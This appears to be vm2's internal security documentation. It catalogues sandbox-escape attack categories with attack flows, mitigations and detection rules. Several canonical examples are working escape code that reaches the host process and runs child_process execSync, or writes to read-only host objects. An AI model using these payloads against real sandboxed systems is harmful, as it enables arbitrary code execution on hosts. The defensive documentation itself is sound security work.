• Buffer.prototype.inspect assigned to object properties -- duck-typing setup.
• Buffer.prototype.slice called on non-Buffer objects.
• showProxy: true in inspect options.
• this.seen access in stylize or other inspect callbacks.
• Duck-typed objects with subarray, slice, hexSlice -- mimicking Buffer interface.
• handler.get(forgedTarget, 'constructor') -- direct call to get trap with attacker-controlled target (now blocked).
• b.reduce(apply.bind(apply), handler.get) -- using host-side Array.reduce to chain handler calls.
• Calling handler methods directly (handler.get(), handler.apply(), etc.).
• new pp.constructor(...) / Reflect.construct(pp.constructor, ...) -- attempting to reconstruct a handler from a leaked instance (now blocked via construction token).
• class X extends pp.constructor -- subclassing a reachable handler class (now blocked via token propagation).
• pp.set.call(forgedThis, ...) / pp.get.call(forgedThis, ...) -- method invocation on a forged receiver (now blocked via getHandlerObject WeakMap guard).
• handler.getPrototypeOf(Buffer) / handler.set(Buffer, key, val) / any trap with a forged target -- a real registered handler invoked with an attacker-supplied first argument to walk host prototypes (now blocked via validateHandlerTarget strict-equality check against handlerToTarget, GHSA-qcp4-v2jj-fjx8).

Attack Category 11: Monkey-Patching Bridge Internals Copy Chapter

Advisories: none

Tests: test/vm.js ("Monkey patching attack"), test/vm.js ("Function.prototype.call attack via Promise"), test/vm.js ("Object.defineProperty override attack via Promise species")

Description Copy Section

Attackers override fundamental methods (call, apply, bind, defineProperty) to intercept the bridge's internal operations, which rely on these methods to safely copy values.

Attack Flow Copy Section

1. Override Function.prototype.call, .apply, .bind, or Object.defineProperty in the sandbox.
2. Trigger a bridge operation (e.g., passing a value across the boundary).
3. The bridge's internal operations use the overridden methods, executing attacker code.

Canonical Examples Copy Section

// Override all critical methods at once
Object.defineProperties(Object.prototype, {
  '__proto__': { value: null },
  'get': { value: desc },
  'set': { value: desc },
  'apply': { value: desc },
  'call': { value: desc }
});

// Targeted method override
Function.prototype.call = function(...args) {
  return captureHostReferences(this, args);
};

Why It Works Copy Section

The bridge uses Function.prototype.call, .apply, and Reflect.apply internally. If these are overridden before a bridge operation is triggered, the attacker's code runs with access to internal bridge references. This is why the bridge caches references to Reflect.apply and other critical functions at initialization time.

Mitigation Copy Section

The bridge caches all critical methods (Reflect.apply, Reflect.construct, Reflect.defineProperty, etc.) at initialization. It uses Reflect.apply(cachedMethod, ...) instead of obj.method() for all internal operations. Proxy handlers use null-prototype objects to prevent Object.prototype pollution from affecting trap resolution.

Detection Rules Copy Section

• Any assignment to Function.prototype.call, .apply, or .bind.
• Object.defineProperties on Object.prototype or Function.prototype.
• Assigning null to __proto__ on fundamental prototypes.
• Override of Reflect.apply, Reflect.construct, Reflect.defineProperty, etc.
• Override of Object.defineProperty itself.

Attack Category 14: Object.prototype Trap Pollution via `in` Operator Copy Chapter

Advisories: none

Tests: test/vm.js ("proxy trap via Object.prototype attack"), test/vm.js ("lookupGetter / lookupSetter attack")

Description Copy Section

The in operator triggers the has trap on Proxy objects. By polluting Object.prototype.has, attackers can intercept in operations on all proxy-wrapped objects.

Attack Flow Copy Section

1. Set Object.prototype.has = function(target, key) { ... }.
2. Use the in operator on a bridge-proxied object: "property" in Buffer.from.
3. Since the proxy handler inherits from Object.prototype, the polluted has becomes the trap.
4. The trap receives target (the raw unwrapped target) as its first argument.

Canonical Examples Copy Section

Object.prototype.has = (target, key) => {
  process = target.constructor("return process")();
};
"property" in Buffer.from;
process.mainModule.require("child_process");

Why It Works Copy Section

Proxy handlers inherit from Object.prototype. If has is defined on Object.prototype, it acts as the has trap for any Proxy whose handler does not explicitly define one. The target argument to the trap is the raw (unwrapped) target.

Mitigation Copy Section

Proxy handlers use null-prototype objects ({__proto__: null}), preventing Object.prototype pollution from affecting trap resolution.

Detection Rules Copy Section

• Object.prototype.has = ... -- prototype pollution targeting proxy traps.
• Object.prototype.get = ..., Object.prototype.set = ... -- same pattern for other traps.
• "x" in proxiedObject -- triggering has trap on bridge-wrapped objects.
• Any property name matching Proxy trap names (has, get, set, apply, construct, getPrototypeOf, etc.) defined on Object.prototype.

Attack Category 27: Internal State Probe via Computed Property Access on `globalThis` Copy Chapter

Advisories: GHSA-wp5r-2gw5-m7q7, GHSA-2cm2-m3w5-gp2f

Tests: test/ghsa/GHSA-wp5r-2gw5-m7q7/, test/ghsa/GHSA-2cm2-m3w5-gp2f/, test/vm.js ("internal state attack"), test/vm.js ("transformer attack")

Uses: Category 12 (the transformer is a syntactic gate; computed keys are invisible to it).

Supersedes: GHSA-wp5r-2gw5-m7q7 ("Transformer Fast-Path Bypass Exposes Internal State Variable") whose mitigation tightened the transformer's identifier-rejection but kept globalThis[INTERNAL_STATE_NAME] reachable for any non-identifier read path.

Description Copy Section

The transformer protects the VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL identifier so user source cannot reference it as a bare name (any declaration or use, including \u-escaped variants, throws Use of internal vm2 state variable). Until this fix, however, the value the identifier resolves to was installed as a permanent non-enumerable own property on the sandbox globalThis. Identifier rejection is a syntactic control, but property reads use a dynamic key — the AST walker has no way to evaluate globalThis[k] where k is a string literal, a computed string, a base-decoded blob, or a key obtained from Object.getOwnPropertyNames(globalThis). Every reflective probe of the global object therefore returned the live state object and its wrapWith / handleException / import methods.

CVSS:3.1 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N). CWE-693 (Protection Mechanism Failure). Today the exposed methods are defensive utilities only and there is no direct escape primitive — the impact is "complete bypass of a security control" and the latent attack surface for any future addition to the state object.

Attack Flow Copy Section

1. Sandbox code asks globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL'] (string literal, transformer never inspects strings) — pre-fix returned the state object.
2. Or Reflect.get(globalThis, '…') / Object.getOwnPropertyDescriptor(globalThis, '…') / '…' in globalThis — same.
3. Or simply Object.getOwnPropertyNames(globalThis).filter(n => n.startsWith('VM2_')) to discover the canonical name without hardcoding it, then read with bracket access.
4. The returned object's properties are sandbox-realm functions (wrapWith, handleException, import); calling them today is innocuous, but any future sensitive method on that object would be immediately exploitable.

Canonical Examples Copy Section

// (advisory GHSA-2cm2-m3w5-gp2f)
const {VM} = require("vm2");
console.log(new VM().run(`
  globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
// pre-fix: { wrapWith, handleException, import }

// Equivalent variants — all resolve via the same own-property read path
new VM().run(`Reflect.get(globalThis, 'VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL')`);
new VM().run(`Object.getOwnPropertyDescriptor(globalThis, 'VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL')`);
new VM().run(`'VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL' in globalThis`);
new VM().run(`Object.getOwnPropertyNames(globalThis).find(n => n.includes('VM2_INTERNAL'))`);

Why It Works Copy Section

The transformer rejects any user-source Identifier node whose name matches INTERNAL_STATE_NAME. Property reads are not identifier nodes — the AST has MemberExpression(globalThis, computed: 'VM2_…') where the second argument is a Literal whose value is a string. The walker does not evaluate string contents, so it cannot tell whether the dynamic key happens to coincide with the protected identifier. Even tightening the walker to reject the substring would still miss globalThis['VM2' + '_INTERNAL_…'], globalThis[String.fromCharCode(86,77,…)], base64-decoded blobs, or names obtained from Object.getOwnPropertyNames(globalThis) at runtime. As long as the value is reachable via [[Get]] on the global object, no transformer-level filter can close the class.

The previous mitigation (GHSA-wp5r-2gw5-m7q7) hardened the transformer's identifier-rejection (kept the regex bailout consistent, added the unicode-escape force-AST). It correctly closed the bare-identifier path but left the computed-key path entirely open, because the global property still existed — that fix was specific to the identifier route, not structural for the binding.

Mitigation Copy Section

Restores Defense Invariant 10 ("Dynamic code compilation paths cannot reach an unwrapped host realm") for the implicit dependency of every transformer-instrumented catch / with / import() rewrite on the canonical identifier — the binding it resolves to is now a sandbox-controlled lexical record entry rather than an attacker-reflectable global property.

lib/vm.js (bootstrap script source for setupSandboxScript):

const setupSandboxScript = compileScript(
  `${__dirname}/setup-sandbox.js`,
  `let ${INTERNAL_STATE_NAME};(function(global, host, bridge, data, context) { … })`,
);

The leading let ${INTERNAL_STATE_NAME} lands the binding in the context's [[GlobalLexicalEnvironment]] — a separate ECMAScript record from the global object's own-property table. Three properties of that record are what makes the fix structural:

1. Reachable as a bare identifier from every script in the context. Bare-identifier resolution walks the script's own lex chain, then [[GlobalLexicalEnvironment]], then the global object. The transformer's emitted ${INTERNAL_STATE_NAME}.handleException(e) therefore still resolves; this works equally for VM scripts, indirect-eval'd source (the EvalHandler's localEval), Function constructor bodies, and the NodeVM module wrapper, because all of them are evaluated with the same context's GlobalLexicalEnvironment as the outermost lexical outer.
2. Not reachable from globalThis[k], Reflect.get, descriptor APIs, or any own-property enumeration. GlobalLexicalEnvironment entries are not properties of the global object; the global object's [[OwnPropertyKeys]] does not include them. globalThis['VM2_…'], Reflect.has, '…' in globalThis, Object.getOwnPropertyNames, Reflect.ownKeys, and prototype-chain enumeration all return undefined / false / no entry.
3. Persistent across runInContext calls in the same context. User scripts that legitimately rely on top-level let x = … carrying over to a later vm.run(...) continue to work — those declarations land in the same record, and the bootstrap's let is declared exactly once at VM construction.

lib/setup-sandbox.js then assigns interanState into that outer binding (VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL = interanState); the previous localReflectDefineProperty(global, …) call is removed entirely. The transformer continues to reject any user-source occurrence of the canonical identifier (including unicode-escape variants), so user code can neither shadow the binding (let VM2_… would collide with the bootstrap declaration) nor reference it (VM2_… as bare name is rejected at compile time). The only reference paths that resolve are the transformer's own injected emissions.

Detection Rules Copy Section

• globalThis[stringLiteral] or Reflect.get(globalThis, …) in security-sensitive code review where the literal could be the canonical name. Flag any read of a long, all-caps, underscore-separated key on globalThis from sandboxed code paths.
• Object.getOwnPropertyNames(globalThis) filtered or pattern-matched in user code — there is no legitimate reason for sandboxed code to enumerate the global object looking for vm2-prefixed names.
• New properties added to the interanState object in lib/setup-sandbox.js must continue to be covered by the GlobalLexicalEnvironment binding; do not re-introduce a defineProperty on global "for compatibility" — that re-opens this category.
• Future code that needs to expose a sandbox-controlled value to transformer-emitted code should follow the same pattern: declare an outer let in the bootstrap script source and assign to it from the IIFE, rather than installing a global object property. Document the design decision next to the new let.

Considered Attack Surfaces Copy Section

• let VM2_… = "evil" in user source. Transformer rejects the canonical identifier in any declaration form (var/let/const/parameter/function name/class name) so user code cannot redeclare or shadow the bootstrap binding. A redeclaration attempt would otherwise throw a SyntaxError because top-level lets share the GlobalLexicalEnvironment — but the transformer rejects earlier, with a clearer error.
• Function('return globalThis')() then bracket access. Function constructor bodies execute with the realm's GlobalEnv as outer; bare ${INTERNAL_STATE_NAME} inside a Function body resolves through the same GlobalLexicalEnvironment, which is the intended path for transformer-emitted code. Bracket access via globalThis['VM2_…'] from inside a Function body returns undefined for the same reason it does from any other script.
• Indirect eval ((0, eval)('…')). Indirect eval re-creates the lex env chain rooted at GlobalEnv; the GlobalLexicalEnvironment is consulted during identifier resolution exactly as for top-level script code. eval('globalThis["VM2_…"]') returns undefined; the transformer-emitted catch handlers inside eval'd source still resolve through the GlobalLexicalEnvironment.
• with(globalThis) { VM2_… } after constructing a string with the canonical name dynamically. The transformer instruments user with() heads with wrapWith(), which wraps the head expression in a Proxy whose has trap returns false for INTERNAL_STATE_NAME — so even a dynamically-named with head cannot expose the binding via the with-scope's identifier resolution path.
• Multiple VMs sharing a process. Each new VM() constructor creates its own vm.Context, which has its own GlobalLexicalEnvironment. The bootstrap's let is per-context, so VM1's binding is invisible to VM2 (and vice versa). The fix does not introduce cross-VM coupling.

Attack Category 28: Bridge Internal-State Leak via Sandbox-Realm Array Setter Copy Chapter

Advisories: GHSA-9qj6-qjgg-37qq, GHSA-q3fm-4wcw-g57x, GHSA-grj5-jjm8-h35p

Tests: test/ghsa/GHSA-9qj6-qjgg-37qq/, test/ghsa/GHSA-q3fm-4wcw-g57x/, test/ghsa/GHSA-grj5-jjm8-h35p/, test/vm.js ("neutralizeArraySpecies prevents species attack in apply trap"), test/vm.js ("Array constructor write via defineProperty is intercepted")

Uses: Category 2: Prototype Chain Manipulation, Category 4: Error Object Exploitation, Category 18: Array Species Self-Return via Constructor Manipulation

Description Copy Section

Bridge-internal containers — lists, maps, and saved-state records that exist only for the bridge's own bookkeeping — are reached from sandbox-realm closures whose intrinsics (Array.prototype, Object.prototype, Map.prototype) are attacker-reachable. When such a container is appended to with an ordinary index assignment obj[obj.length] = value, V8's [[Set]] walks the prototype chain whenever no own slot exists at the target index. A sandbox-installed setter on Array.prototype[N] therefore fires during the bridge's own write and observes (or mutates) the bridge's raw state.

This category covers two concrete sites that exhibit the same primitive. Both are closed by switching to identity-stable, prototype-bypassing writes (Reflect.defineProperty on numeric keys).

Variant B is a hardening fix rather than an exploit-today escape: the value handed to the setter is a primitive string, not a host reference. The structural concern is that the underlying primitive (bridge-internal container invokes sandbox code) is identical to Variant A, so any future change that enriches the appended record (e.g. an object holding a CallSite proxy or an error reference) would regress straight into the Variant A RCE shape.

Attack Flow Copy Section

Variant A — species saved-state → RCE:

1. Setter on Array.prototype[0]: sandbox code defines Object.defineProperty(Array.prototype, 0, { set(value) { ... } }).
2. Plant a chain hop: sandbox stores a useful reference on the argument array, e.g. a.f = Buffer.prototype.inspect — when read back via the host-realm proxy, this returns a host-realm Function instance whose constructor.constructor is host Function.
3. Trigger the apply/construct trap: new Buffer(a) (or any host function call with a sandbox array argument). The bridge runs args = otherFromThisArguments(args) and then savedSpecies = neutralizeArraySpeciesBatch(context, args).
4. Setter fires on the bridge's own state: saved[saved.length] = c walks the sandbox Array.prototype chain, hits Array.prototype[0]'s setter, and hands c (containing the host-realm proxy arr) to attacker code.
5. Pivot through the leaked proxy: value.arr.f.constructor.constructor("return process")() reaches host process, then mainModule.require('child_process').execSync(...) for arbitrary command execution.

Variant B — stack-trace formatter:

1. Setter on Array.prototype[N]: sandbox installs Object.defineProperty(Array.prototype, 1, { set(value) { ... } }). Index 1 is the first slot the formatter writes (the array starts at [header], length 1).
2. Trigger the formatter: any access to error.stack runs the wrapped defaultSandboxPrepareStackTrace. The wrap is installed by the Error.prepareStackTrace setter and routes the default through the same CallSite wrapping path as user-provided formatters.
3. Bridge-internal write fires sandbox code: the formatter executes lines[lines.length] = ' at ' + callSites[i]. With no own slot at index 1, V8 walks the chain and invokes the attacker-installed setter, which observes every appended frame.
4. Read-side variant: even with the indexed writes hardened, lines.join('\n') looks up Array.prototype.join via the prototype chain. A sandbox override receives the lines array and can rewrite the final stack string.

Canonical Examples Copy Section

Variant A — RCE:

const { VM } = require('vm2');
new VM().run(`
    const a = [];
    Object.defineProperty(Array.prototype, 0, {
        set(value) {
            a.f = Buffer.prototype.inspect;
            value.arr.f.constructor.constructor('return process')()
                .mainModule.require('child_process').execSync('touch pwned');
        }
    });
    new Buffer(a);
`);

Variant B — observability:

const { VM } = require('vm2');
const result = new VM().run(`
    const observed = { setterFired: false, capturedValue: null, indexFired: null };
    Object.defineProperty(Array.prototype, 1, {
        configurable: true,
        set(value) {
            observed.setterFired = true;
            observed.indexFired = 1;
            observed.capturedValue =
                typeof value === 'string' ? value.slice(0, 40) : typeof value;
        },
        get() { return undefined; }
    });
    const e = new Error('x');
    e.stack;
    observed;
`);
// Before fix: { setterFired: true, indexFired: 1, capturedValue: '    at CallSite {}' }

Why It Works Copy Section

Both neutralizeArraySpeciesBatch and defaultSandboxPrepareStackTrace execute inside sandbox-realm closures. The apply/construct trap that wraps a host function for sandbox use installs sandbox-side handlers, so the bridge code in lib/bridge.js runs in the sandbox-realm copy of the shared closure; the stack-trace formatter in lib/setup-sandbox.js runs on the sandbox global scope by construction. In both cases the [] array literal allocates a sandbox-realm Array whose prototype chain is sandbox Array.prototype — fully attacker-controllable.

obj[obj.length] = value is an ordinary [[Set]] with receiver obj. Absent an own data slot at the target index, V8 walks [[Prototype]] and invokes any accessor it finds, passing value to the setter. The same applies to .join: the lookup walks [[Prototype]] to find Array.prototype.join, and an override there receives the lines array as this.

The bridge's existing pattern in thisFromOtherArguments already uses thisReflectDefineProperty to install argument indices precisely because index assignment via [i] = triggers prototype-chain setters. The two sites covered here were outliers — Variant A introduced when the species defense (GHSA-grj5-jjm8-h35p) replaced its earlier no-restore variant with a saved-list design; Variant B introduced under the post-#563 hardening for Category 19 when defaultSandboxPrepareStackTrace was added to keep V8 off Node's host-side formatter.

Mitigation Copy Section

Variant A: neutralizeArraySpeciesBatch now installs every entry with thisReflectDefineProperty(saved, savedLen, { value, writable: true, enumerable: true, configurable: true }) in lib/bridge.js. Reflect.defineProperty creates an own data property and bypasses the prototype-chain setter completely, so a sandbox-installed setter on Array.prototype[N] is never invoked while the bridge holds raw saved state. restoreArraySpeciesBatch is symmetric without code change: indexed reads on savedList[i] now land on own data slots installed by the neutralize pass, so a sandbox-installed getter on Array.prototype[N] cannot intercept, substitute, or mutate the saved-state record between neutralize and restore either. The defense is index-agnostic — it holds for index 0, any positive integer index, and any shape of argument list (context-only, args-only, or both).

Variant B: defaultSandboxPrepareStackTrace no longer materialises an array. The formatter folds each frame directly into a string accumulator via primitive concatenation (result += '\n' + frame), removing every reachable Array.prototype slot at once — index setters, the final .join, and any hypothetical future enrichment of the bridge-internal container. String concatenation routes through primitive [[Get]] of callSites[i] (a sandbox-realm CallSite wrapper whose toString returns the safe 'CallSite {}' literal) and primitive string-plus, neither of which dispatch through Array.prototype or Object.prototype. makeCallSiteGetters (same file) is converted for symmetry to install each entry via localReflectDefineProperty(callSiteGetters, idx, { value, ... }); this loop runs at sandbox init before user code can install setters, so it is safe today, but the consistent pattern prevents future regressions and keeps the indexed reads at applyCallSiteGetters immune to later sandbox-installed getters on Array.prototype[N].

Together these fixes restore Defense Invariant #11: Bridge-Internal Containers Must Not Invoke Sandbox Code: any list, set, or map allocated for the bridge's exclusive use must read and write through identity-stable, prototype-bypassing primitives — never operators that fall through to Array.prototype / Object.prototype / Map.prototype.{get,set}. The same invariant explains why the bridge already uses thisReflectApply(thisWeakMapSet, mapping, [k, v]) rather than mapping.set(k, v) everywhere. The chokepoint is now uniform across lib/bridge.js and lib/setup-sandbox.js.

Supersedes: this category retroactively hardens the Category 18 species defense by closing the saved-list write path the attacker would otherwise use to extract the very state the species fix produces. Variant B closes the audit gap from Variant A's original mitigation, which was scoped to lib/bridge.js.

Detection Rules Copy Section

• Object.defineProperty(Array.prototype, , { set: ... }) immediately preceding a host-function call or error.stack read — classic shape of either variant; near-zero legitimate use case.
• Array.prototype.join override followed by Error access — read-side variant of the stack-trace primitive.
• Setter or getter on Array.prototype numeric indices in untrusted code — should be treated as suspicious in any sandboxed context, regardless of which bridge container is the target.
• Reads of value.arr / value.constructor / value. inside an Array.prototype setter — capture-and-extract pattern aimed at bridge state.

Considered Attack Surfaces Copy Section

• saved.length write via sandbox Array.prototype.length getter: writing to saved[savedLen] reads saved.length only via the local counter; even if reading were used, V8 services array length from the magic own slot and never consults Array.prototype.length for instances.
• Object.prototype setter on numeric keys: in Variant A, c is a { __proto__: null, ... } literal, so reads on value.arr inside the captured record do not walk Object.prototype either; even if they did, the leak channel is the Array.prototype[N] setter, not the record's own access path.
• callSites[i] invoking sandbox toString (Variant B): callSites[i] is a sandbox-realm CallSite wrapper instance whose toString is defined as a fixed 'CallSite {}' literal. The string concatenation invokes that wrapper, which is deliberate sandbox-facing API — Invariant #11 forbids the bridge container from invoking sandbox code, not the bridge from invoking documented sandbox-realm safe accessors on individual values.
• ' at ' + callSites[i] triggering Symbol.toPrimitive (Variant B): the CallSite wrapper does not define Symbol.toPrimitive, so V8 invokes the standard toString/valueOf path. The wrapper's toString returns a string, so the conversion never reaches Symbol.toPrimitive even if it were defined on Object.prototype (which the existing symbol-filter defenses would catch separately).
• result += '\n' + frame and host-realm primitives (Variant B): string + is a pure primitive operation on the V8 string type and does not dispatch through Object.prototype or String.prototype accessors.
• Equivalent pattern elsewhere in the bridge: audited end-to-end. thisFromOtherArguments, otherFromThisArguments, and every other index-write site in lib/bridge.js use thisReflectDefineProperty or otherReflectDefineProperty. neutralizeArraySpeciesBatch (Variant A) and defaultSandboxPrepareStackTrace / makeCallSiteGetters (Variant B) were the remaining outliers; both are now fixed. The invariant is uniform across lib/bridge.js and lib/setup-sandbox.js.

Attack Category 44: `vm.freeze()` Read-Only Bypass via Accessor Setter Leak Copy Chapter

Advisories: GHSA-633r-hq9m-c4ff

Tests: test/ghsa/GHSA-633r-hq9m-c4ff/, test/vm.js ("with freeze"), test/vm.js ("ReadOnly proxy reports non-extensible without throwing (#567)"), test/vm.js ("species defense still blocks attacks via frozen host arrays (#567 follow-up)")

Uses: Category 6: Proxy Trap Exploitation, Category 15: Property Descriptor Value Extraction

Description Copy Section

vm.freeze(hostObject, name) is documented to expose a read-only view of a host object to the sandbox. ReadOnlyHandler makes the write traps inert: cfg.level = x throws 'set' on proxy: trap returned falsish, and Object.defineProperty(cfg, ...) / delete cfg.level return false.

But when the host object carries an accessor property (get / set), the descriptor-read path leaks an operative setter. BaseHandler.getOwnPropertyDescriptor wraps both desc.get and desc.set into live, bridged functions. ReadOnlyHandler overrode the write traps but not the descriptor read, so the sandbox could pull the wrapped setter off the frozen proxy and call it:

const d = Object.getOwnPropertyDescriptor(cfg, 'level');
d.set.call(cfg, 'PWNED');                 // wrapped setter → BaseHandler.apply → raw host setter
cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');   // same descriptor, different reader

The wrapped setter's call lands in BaseHandler.apply, which unwraps context (the proxy) back to the raw host object and invokes the host setter on it — mutating host state through a view the embedder declared read-only. This is a read-only contract violation / host-state write, not (by itself) a full realm escape, but it is a capability the embedder explicitly withheld: vm.freeze is the API embedders reach for precisely to hand the sandbox observable-but-immutable config, and any host setter (cache invalidation, privilege flags, path allow-lists, feature toggles) becomes sandbox-writable.

Attack Flow Copy Section

1. Embedder exposes a host object with an accessor property via vm.freeze(cfg, 'cfg'), intending read-only access.
2. Sandbox reads the property descriptor through any channel that reaches the getOwnPropertyDescriptor trap: Object.getOwnPropertyDescriptor, Reflect.getOwnPropertyDescriptor, Object.getOwnPropertyDescriptors, or Object.prototype.__lookupSetter__.
3. The returned descriptor's set is a live bridge-wrapped function whose target is the raw host setter.
4. Sandbox calls desc.set.call(cfg, value). The apply trap forwards to the host setter with this = the unwrapped host object.
5. Host state mutates; every inert write trap was bypassed because no write trap was on the path.

Canonical Examples Copy Section

const cfg = {
    _level: 'safe',
    get level() { return this._level; },
    set level(v) { this._level = v; },
};
const vm = new VM();
vm.freeze(cfg, 'cfg');

vm.run(`
    // Channel 1 — Object.getOwnPropertyDescriptor
    Object.getOwnPropertyDescriptor(cfg, 'level').set.call(cfg, 'PWNED-a');
    // Channel 2 — __lookupSetter__ (reads the same descriptor)
    cfg.__lookupSetter__('level').call(cfg, 'PWNED-b');
    // Channel 3 — Reflect.getOwnPropertyDescriptor
    Reflect.getOwnPropertyDescriptor(cfg, 'level').set.call(cfg, 'PWNED-c');
    // Channel 4 — Object.getOwnPropertyDescriptors (bulk)
    Object.getOwnPropertyDescriptors(cfg).level.set.call(cfg, 'PWNED-d');
`);
// Before the fix: cfg._level === 'PWNED-d'. Direct cfg.level = x stayed blocked,
// masking the leak from write-trap-only tests.

Why It Works Copy Section

ReadOnlyHandler inherited BaseHandler.getOwnPropertyDescriptor unchanged. That method's job is realm-crossing fidelity, not policy: it faithfully wraps whatever get / set the host descriptor has so the sandbox sees a working accessor. Read-only policy lived only in the set / defineProperty / deleteProperty traps — the direct write paths. The descriptor-read path is an indirect write path: it hands the sandbox a callable that, when invoked, routes through apply (an unguarded-for-read-only trap) to the host setter. __lookupSetter__, Reflect.getOwnPropertyDescriptor, and Object.getOwnPropertyDescriptors are all readers of the same descriptor, so all four share the single leak.

The getter side (desc.get, __lookupGetter__) is not a violation — reads are permitted under the read-only contract — so the fix must be asymmetric: neutralize set, preserve get.

Mitigation Copy Section

ReadOnlyHandler.getOwnPropertyDescriptorDesc (the descriptor hook BaseHandler.getOwnPropertyDescriptor invokes before wrapping get / set) is overridden to drop the set accessor from every host-side descriptor on the sandbox→host direction (!isHost). With desc.set removed before wrapping, the descriptor the sandbox receives is a getter-only accessor: desc.get still works, desc.set === undefined. Because all four extraction channels funnel through the same getOwnPropertyDescriptor trap → same hook, one override closes every channel simultaneously. A setter-only accessor collapses to { value: undefined, writable: false }, which carries no write capability and reads as undefined — consistent with read-only semantics.

The tightening is ReadOnly-specific: BaseHandler (non-frozen exposed host objects) is untouched, so an accessor on an ordinary sandbox: { cfg } object still exposes an operative setter, exactly as before.

The same hook must also govern the other writer of the proxy target. doPreventExtensions copies own descriptors onto the proxy target so V8's non-configurable-property invariant can be checked, and it originally wrapped get / set directly instead of going through the hook. That left a live set on the target while the trap reported set: undefined, so the first isExtensible / preventExtensions / Object.keys on a frozen object holding a non-configurable accessor tripped V8's "trap returned descriptor ... incompatible with the existing property" TypeError and poisoned spread, Object.assign and JSON.stringify on that object. doPreventExtensions now routes each copied descriptor through handler.getOwnPropertyDescriptorDesc(...) before defining it, so target and trap agree for every handler variant (BaseHandler leaves set intact and is unaffected). The non-configurable accessor branch rebuilds a clean accessor-only descriptor, because the hook can leave a stray value on function caller / arguments / callee and defineProperty rejects a descriptor carrying both an accessor and a value.

Note that Object.freeze on a read-only proxy still throws ("trap returned falsish"): defineProperty is inert on a read-only view. That is pre-existing read-only behavior for any frozen object with properties, not a consequence of this fix.

Detection Rules Copy Section

• Object.getOwnPropertyDescriptor(frozen, k).set / .__lookupSetter__(k) returning a callable inside the sandbox — a read-only view must never yield an operative setter.
• desc.set.call(frozen, v) / setter.call(frozen, v) pattern in sandbox code — indirect write through a leaked accessor setter.
• Object.getOwnPropertyDescriptors(frozen) / Reflect.getOwnPropertyDescriptor(frozen, k) feeding a later .set(...) call — bulk / Reflect variants of the same leak.
• Any new read-only handler that overrides write traps but inherits getOwnPropertyDescriptor — descriptor reads are an indirect write path and must be neutralized alongside the direct traps.

Considered Variants Copy Section

• Getter side (desc.get, __lookupGetter__) — intentionally left operative; reads are permitted under the read-only contract. Over-blocking here would break the documented vm.freeze read behavior.
• Data-property writable flag — a data descriptor's writable: true is cosmetic under ReadOnly, not a channel: writing frozen.k = v still routes through the inert set trap. Only the callable set accessor is a real write primitive, so only it is stripped.
• ReadOnlyMockHandler — extends ReadOnlyHandler, so it inherits the override; the readonly API is covered by the same fix.

Attacks Error Sanitization (`docs/attacks/error-sanitization.md`) Copy Section

Error and Exception Sanitization

Exceptions and error containers as carriers of host references. Every value entering a catch must pass through handleException; the entries here are the paths that carried a raw host error, a host Error.cause, a host stack string, or a live proxy past it.

Defense invariants enforced by fixes in this family: 2, 3, 5 (see Defense Invariants).

Categories in this file: 4, 16, 17, 38, 39, 48, 49.

Attack Category 4: Error Object Exploitation Copy Chapter

Advisories: none

Tests: test/vm.js ("Error.prepareStackTrace attack"), test/vm.js ("Node internal prepareStackTrace attack"), test/vm.js ("transformer attack"), test/vm.js ("Error.prepareStackTrace safe default prevents host fallback"), test/vm.js ("Error.prepareStackTrace safe default handles Symbol names without throwing"), test/vm.js ("Error.prepareStackTrace = undefined does not enable host escape"), test/ghsa/GHSA-v27g-jcqj-v8rw/ (repro.js)

Description Copy Section

Errors carry stack traces, constructor references, and can trigger special V8 APIs. Attackers use errors as vehicles to access host-realm objects. The Error Generation Primitive (see Fundamentals) is the most common technique: setting error.name = Symbol() forces a host TypeError during V8's C++ stack formatting.

Attack Flow Copy Section

1. Create an error and manipulate it (e.g., set name to a Symbol, or override prepareStackTrace).
2. Access .stack to trigger V8's stack formatting, which may throw a host-realm TypeError.
3. Catch the TypeError (via catch block, promise rejection, or SuppressedError) to obtain a host-realm error object.
4. Traverse the host error's constructor chain to reach host Function.

Canonical Examples Copy Section

// Error.prepareStackTrace to access CallSite objects
Error.prepareStackTrace = (err, callSites) => {
  return callSites.map(cs => cs.getThis()).find(x => x);
};
const { stack } = new Error();
// stack now contains host objects

// Stack overflow to trigger host error constructor
function recurse() { new Error().stack; recurse(); }
try { recurse(); }
catch (e) {
  // e is host RangeError with host constructor
  e.constructor.constructor("return process")();
}

// Error in Promise rejection path (uses Error Generation Primitive)
async function fn() {
  const e = new Error();
  e.name = Symbol(); // Forces host TypeError during string conversion
  return e.stack;
}
fn().catch(hostError => {
  hostError.constructor.constructor("return process")();
});

Why It Works Copy Section

V8's Error.prepareStackTrace API provides access to CallSite objects that reference the actual this value of each stack frame. Stack overflow errors are created by the engine itself and may carry host-realm prototypes. The Error Generation Primitive (e.name = Symbol(); e.stack) forces V8's C++ code to throw a TypeError during string formatting; if this happens in host-side code (like prepareStackTraceCallback), the TypeError is a host-realm error.

Mitigation Copy Section

Error.prepareStackTrace is initialised to defaultSandboxPrepareStackTrace at sandbox bootstrap (post-GHSA-v27g hardening) and the property descriptor's setter substitutes the safe default whenever sandbox code assigns a non-function value (undefined, null, etc.). V8 therefore never falls through to Node's host-side prepareStackTraceCallback (which throws on Symbol-named errors and emits absolute host paths). defaultSandboxPrepareStackTrace itself handles Symbol names, Proxy objects, and other exotic types without throwing. CallSite metadata getters (getFileName, getLineNumber, getFunctionName, etc.) redact host frames; getEvalOrigin redacts unconditionally because its return string can embed a host path. CallSite getThis() and getFunction() always return undefined. SuppressedError and AggregateError are in errorsList in bridge.js so their prototypes are proto-mapped and their bridge-crossing instances structurally-collapsed.

Detection Rules Copy Section

• Error.prepareStackTrace assignment -- accessing V8 stack internals.
• Recursive functions designed to cause stack overflow -- intentional RangeError creation.
• error.name = Symbol() -- forces TypeError during string coercion (Error Generation Primitive).
• Accessing .stack property on errors in conjunction with prepareStackTrace.
• Errors with unusual prototype manipulation before throwing.
